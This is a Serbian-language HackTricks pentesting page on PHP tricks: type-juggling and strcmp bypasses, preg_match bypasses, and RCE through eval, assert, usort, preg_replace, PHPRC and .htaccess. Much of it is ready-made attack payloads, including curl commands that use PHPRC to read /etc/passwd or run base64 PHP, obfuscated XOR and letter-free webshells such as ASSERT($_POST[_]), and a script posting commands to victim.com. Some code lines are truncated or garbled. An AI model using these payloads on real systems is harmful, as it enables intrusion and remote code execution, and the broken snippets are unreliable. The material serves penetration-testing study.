hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2024-04-07 23:04:49 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 04:23:52 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated to Serbian 2024-02-10 13:11:20 +00:00
php-ssrf.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:52:14 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R 2024-04-07 23:04:49 +00:00

PHP Trikovi

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

{% embed url="https://websec.nl/" %}

Česta lokacija kolačića:

Ovo takođe važi za kolačiće phpMyAdmin-a.

Kolačići:

PHPSESSID
phpMyAdmin

Lokacije:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Zaobilaženje PHP poredjenja

Labava poredjenja/Tip konverzija ( == )

Ako se koristi == u PHP-u, mogu se pojaviti neočekivani slučajevi gde poredjenje ne radi kako se očekuje. To je zato što "==" poredi samo vrednosti transformisane u isti tip, ako želite da poredite i da li je tip poredjenih podataka isti, treba koristiti ===.

Tabele za poredjenje u PHP-u: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True String koji ne počinje brojem je jednak broju
  • "0xAAAA" == "43690" -> True Stringovi sastavljeni od brojeva u dec ili heks formatu mogu biti poredjeni sa drugim brojevima/stringovima sa rezultatom True ako su brojevi isti (brojevi u stringu se interpretiraju kao brojevi)
  • "0e3264578" == 0 --> True String koji počinje sa "0e" i zatim bilo čim će biti jednak 0
  • "0X3264578" == 0X --> True String koji počinje sa "0" i zatim bilo kojim slovom (X može biti bilo koje slovo) i zatim bilo čim će biti jednak 0
  • "0e12334" == "0" --> True Ovo je veoma interesantno jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i poredi sa njim. Stoga, ako možete pružiti vrednost koja će kreirati heš koji počinje sa "0e" i bez ikakvog slova, možete zaobići poredjenje. Možete pronaći već heširane stringove sa ovim formatom ovde: https://github.com/spaze/hashes
  • "X" == 0 --> True Bilo koje slovo u stringu je jednako celobrojnoj vrednosti 0

Više informacija na https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Tip konverzije takođe utiče na funkciju in_array() po defaultu (treba postaviti na true treći argument da bi se napravilo strogo poredjenje):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Ako se ova funkcija koristi za bilo koju proveru autentifikacije (kao što je provera lozinke) i korisnik kontroliše jednu stranu poređenja, može poslati prazan niz umesto stringa kao vrednost lozinke (https://example.com/login.php/?username=admin&password[]=) i zaobići ovu proveru:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Strogo tipovanje

Čak i ako se koristi ===, mogu se pojaviti greške koje čine poređenje ranjivim na tipovanje. Na primer, ako se poređenje vrši konvertovanjem podataka u drugi tip objekta pre poređenja:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() može se koristiti za validaciju korisničkog unosa (proverava da li je bilo koja reč/regex iz crne liste prisutna u korisničkom unosu i ako nije, kod može nastaviti svoje izvršavanje).

Bypass novog reda

Međutim, kada se deliminiše početak regexp-a, preg_match() proverava samo prvu liniju korisničkog unosa, pa ako na neki način možete poslati unos u više linija, možete zaobići ovu proveru. Primer:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Da biste zaobišli ovu proveru, možete poslati vrednost sa novim redovima url-kodiranu (%0A) ili, ako možete poslati JSON podatke, pošaljite ih u nekoliko linija:

{
"cmd": "cat /etc/passwd"
}

Pronađite primer ovde: https://ramadistra.dev/fbctf-2019-rceservice

Bajpasovanje greške dužine

(Ovaj bajpas je navodno pokušan na PHP 5.2.5 i nisam uspeo da ga pokrenem na PHP 7.3.15)
Ako možete poslati preg_match() validan veoma veliki unos, on neće moći da ga obradi i moći ćete da bajpasujete proveru. Na primer, ako je na crnoj listi JSON, možete poslati:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

Bajpasovanje ReDoS-a

Trik sa: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223

Ukratko, problem se javlja jer funkcije preg_* u PHP-u se oslanjaju na PCRE biblioteku. U PCRE-u određeni regularni izrazi se podudaraju korišćenjem velikog broja rekurzivnih poziva, što troši puno prostora na steku. Moguće je postaviti ograničenje na broj dozvoljenih rekurzija, ali u PHP-u to ograničenje podrazumevano iznosi 100.000 što je više nego što stane na stek.

U ovom Stackoverflow thread-u takođe je povezan u postu gde se detaljnije govori o ovom problemu. Naš zadatak je sada bio jasan:
Poslati unos koji će naterati regex da uradi 100_000+ rekurzija, izazivajući SIGSEGV, čineći da funkcija preg_match() vrati false, čime aplikacija misli da naš unos nije zlonameran, bacajući iznenađenje na kraju payload-a nešto poput {system(<veomazla naredba>)} da bismo dobili SSTI --> RCE --> zastavica :).

Pa, u regex terminima, zapravo ne radimo 100k "rekurzija", već brojimo "korake povratka", što kao što PHP dokumentacija navodi podrazumevano iznosi 1_000_000 (1M) u promenljivoj pcre.backtrack_limit.
Da bismo to postigli, 'X'*500_001 će rezultirati sa 1 milion koraka povratka (500k unapred i 500k unazad):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Tipovanje tipova za zamagljivanje PHP-a

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Izvrši Nakon Preusmeravanja (EAR)

Ako PHP preusmerava na drugu stranicu, ali nijedna funkcija die ili exit nije pozvana nakon postavljanja zaglavlja Location, PHP nastavlja izvršavanje i dodaje podatke u telo:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Iskorišćavanje putanje pretrage i uključivanje datoteka

Proverite:

{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}

Više trikova

  • register_globals: U PHP < 4.1.1.1 ili ako je pogrešno konfigurisan, register_globals može biti aktivan (ili se njihovo ponašanje oponaša). To implicira da u globalnim promenljivima poput $_GET, ako imaju vrednost npr. $_GET["param"]="1234", možete pristupiti tome putem $param. Stoga, slanjem HTTP parametara možete prepisati promenljive koje se koriste unutar koda.
  • PHPSESSION kolačići iste domene se čuvaju na istom mestu, stoga ako se unutar domene koriste različiti kolačići u različitim putanjama možete omogućiti da putanja pristupi kolačiću putanje postavljajući vrednost kolačića druge putanje.
    Na ovaj način, ako obe putanje pristupaju promenljivoj istog imena možete primeniti vrednost te promenljive u putanji1 na putanju2. Tada će putanja2 smatrati važećim promenljive putanje1 (dajući kolačiću ime koje odgovara putanji2).
  • Kada imate korisnička imena korisnika mašine. Proverite adresu: /~<USERNAME> da biste videli da li su PHP direktorijumi aktivirani.
  • LFI i RCE korišćenjem php omotača

password_hash/password_verify

Ove funkcije se obično koriste u PHP-u za generisanje heševa iz lozinki i za proveru da li je lozinka ispravna u poređenju sa hešom.
Podržani algoritmi su: PASSWORD_DEFAULT i PASSWORD_BCRYPT (počinje sa $2y$). Imajte na umu da je PASSWORD_DEFAULT često isto što i PASSWORD_BCRYPT. Trenutno, PASSWORD_BCRYPT ima ograničenje veličine unosa od 72 bajta. Stoga, kada pokušate da hešujete nešto veće od 72 bajta ovim algoritmom, koristiće se samo prvih 72B:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Zaobilaženje HTTP zaglavlja zloupotrebom PHP grešaka

Ako PHP stranica ispisuje greške i vraća neke korisnički unete podatke, korisnik može naterati PHP server da vrati neki sadržaj dovoljno dug tako da kada pokuša dodati zaglavlja u odgovor, server će baciti grešku.
U sledećem scenariju napadač je naterao server da baci neke velike greške, i kao što možete videti na ekranu kada je php pokušao modifikovati informacije zaglavlja, nije mogao (tako da na primer CSP zaglavlje nije poslato korisniku):

Izvršenje koda

system("ls");
`ls`;
shell_exec("ls");

Pogledajte ovo za više korisnih PHP funkcija

RCE putem preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Da bi se izvršio kod u "replace" argumentu, potrebno je imati barem jedno poklapanje.
Ova opcija preg_replace funkcije je zastarela od PHP 5.5.0.

RCE putem Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE putem Assert()

Ova funkcija unutar php-a vam omogućava da izvršite kod koji je napisan u stringu kako biste vratili tačno ili netačno (i u zavisnosti od toga promenili izvršenje). Obično će korisnička promenljiva biti ubačena usred stringa. Na primer:
assert("strpos($_GET['page']),'..') === false") --> U ovom slučaju da biste dobili RCE možete uraditi:

?page=a','NeVeR') === false and system('ls') and strpos('a

Potrebno je razbiti sintaksu koda, dodati svoj payload, a zatim je ponovo popraviti. Možete koristiti logičke operacije poput "and" ili "%26%26" ili "|". Imajte na umu da "or", "||" neće raditi jer ako je prvi uslov tačan, naš payload neće biti izvršen. Isto tako, ";" neće raditi jer naš payload neće biti izvršen.

Druga opcija je dodati izvršenje komande u string: '.highlight_file('.passwd').'

Druga opcija (ako imate interni kod) je izmeniti neku promenljivu kako biste promenili izvršenje: $file = "hola"

RCE putem usort()

Ova funkcija se koristi za sortiranje niza stavki pomoću određene funkcije.
Da biste zloupotrebili ovu funkciju:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Možete takođe koristiti // da biste komentarisali ostatak koda.

Da biste otkrili broj zagrada koje treba zatvoriti:

  • ?order=id;}//: dobijamo poruku o grešci (Parse error: syntax error, unexpected ';'). Verovatno nedostaje jedna ili više zagrada.
  • ?order=id);}//: dobijamo upozorenje. To deluje ispravno.
  • ?order=id));}//: dobijamo poruku o grešci (Parse error: syntax error, unexpected ')' i). Verovatno imamo previše zatvorenih zagrada.

RCE putem .httaccess

Ako možete učitati .htaccess, možete konfigurisati nekoliko stvari i čak izvršiti kod (konfigurišući te datoteke sa ekstenzijom .htaccess da se mogu izvršiti).

Različite .htaccess ljuske mogu se pronaći ovde

RCE putem Env promenljivih

Ako pronađete ranjivost koja vam omogućava da izmenite env promenljive u PHP-u (i još jednu za učitavanje datoteka, mada uz više istraživanja možda se to može zaobići), možete iskoristiti ovu ponašanje da biste dobili RCE.

  • LD_PRELOAD: Ova env promenljiva omogućava vam da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (mada u ovom slučaju možda neće raditi).
  • PHPRC : Naređuje PHP-u gde da locira svoju konfiguracionu datoteku, obično nazvanu php.ini. Ako možete učitati svoju konfiguracionu datoteku, onda koristite PHPRC da je usmerite na PHP. Dodajte unos auto_prepend_file koji navodi drugu učitanu datoteku. Ta druga datoteka sadrži normalan PHP kod, koji se zatim izvršava od strane PHP runtime-a pre bilo kog drugog koda.
  1. Učitajte PHP datoteku koja sadrži naš shell kod
  2. Učitajte drugu datoteku koja sadrži direktivu auto_prepend_file koja naređuje PHP preprocesoru da izvrši datoteku koju smo učitali u koraku 1
  3. Postavite promenljivu PHPRC na datoteku koju smo učitali u koraku 2.
  • Dobijte više informacija o tome kako izvršiti ovaj lanac iz originalnog izveštaja.
  • PHPRC - još jedna opcija
  • Ako ne možete učitati datoteke, možete koristiti u FreeBSD-u "datoteku" /dev/fd/0 koja sadrži stdin, budeći telo zahteva poslatog na stdin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Ili da biste dobili RCE, omogućite allow_url_include i dodajte datoteku sa base64 PHP kodom:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Tehnika iz ovog izveštaja.

PHP Staticna analiza

Pogledajte da li možete ubaciti kod u pozive ovih funkcija (sa ovog):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Ako debagujete PHP aplikaciju, možete globalno omogućiti ispis grešaka u /etc/php5/apache2/php.ini dodavanjem display_errors = On i restartovati apache: sudo systemctl restart apache2

Dekodiranje PHP koda

Možete koristiti web www.unphp.net za dekodiranje PHP koda.

PHP omotači i protokoli

PHP omotači i protokoli mogu vam omogućiti da zaobiđete zaštitu od pisanja i čitanja u sistemu i kompromitujete ga. Za više informacija pogledajte ovu stranicu.

Xdebug neautentifikovani RCE

Ako primetite da je Xdebug omogućen u izlazu phpconfig(), trebalo bi da pokušate da dobijete RCE putem https://github.com/nqxcode/xdebug-exploit

Promenljive promenljivih

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE zloupotreba novog $_GET["a"]($_GET["b"])

Ako na stranici možete kreirati novi objekat proizvoljne klase, možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Izvršavanje PHP-a bez slova

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Korišćenje oktalnog oblika

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

XOR (ekskluzivno ILI) je binarni operator koji se koristi za izvođenje ekskluzivne disjunkcije nad bitovima. U PHP-u se XOR operator označava kao ^. XOR operacija vraća istinitu vrijednost samo kada su ulazni bitovi različiti.

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR jednostavan shell kod

Prema ovom objašnjenju, moguće je generisati jednostavan shell kod na sledeći način:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Dakle, ako možete izvršiti proizvoljni PHP bez brojeva i slova možete poslati zahtev koristeći sledeći payload za izvršavanje proizvoljnog PHP-a:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Za detaljnije objašnjenje pogledajte https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (unutar eval-a)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl slično

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

{% embed url="https://websec.nl/" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: